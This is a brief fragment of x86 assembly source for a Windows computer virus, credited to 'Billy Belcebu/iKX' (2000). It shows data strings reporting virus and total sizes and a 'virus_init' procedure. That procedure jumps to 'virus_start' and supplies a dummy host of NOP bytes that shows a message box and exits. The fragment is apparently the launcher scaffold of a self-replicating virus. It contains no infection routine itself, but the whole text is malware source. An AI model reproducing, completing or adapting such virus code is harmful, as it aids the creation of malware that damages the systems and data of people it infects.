db virus_size/0010 mod 10 + "0"
db virus_size/0001 mod 10 + "0"
db " - "
db "Virtual "
db total_size/1000 mod 10 + "0"
db total_size/0100 mod 10 + "0"
db total_size/0010 mod 10 + "0"
db total_size/0001 mod 10 + "0"
db 10,"(c) 2000 Billy Belcebu/iKX",0
_DATA ends
_TEXT segment dword use32 public'CODE'
virus_init proc
jmp virus_start
host:
db epo_bytes dup (90h)
call MessageBoxA,0,offset szMsg,offset szTtl,0
call ExitProcess,0
virus_init endp
_TEXT ends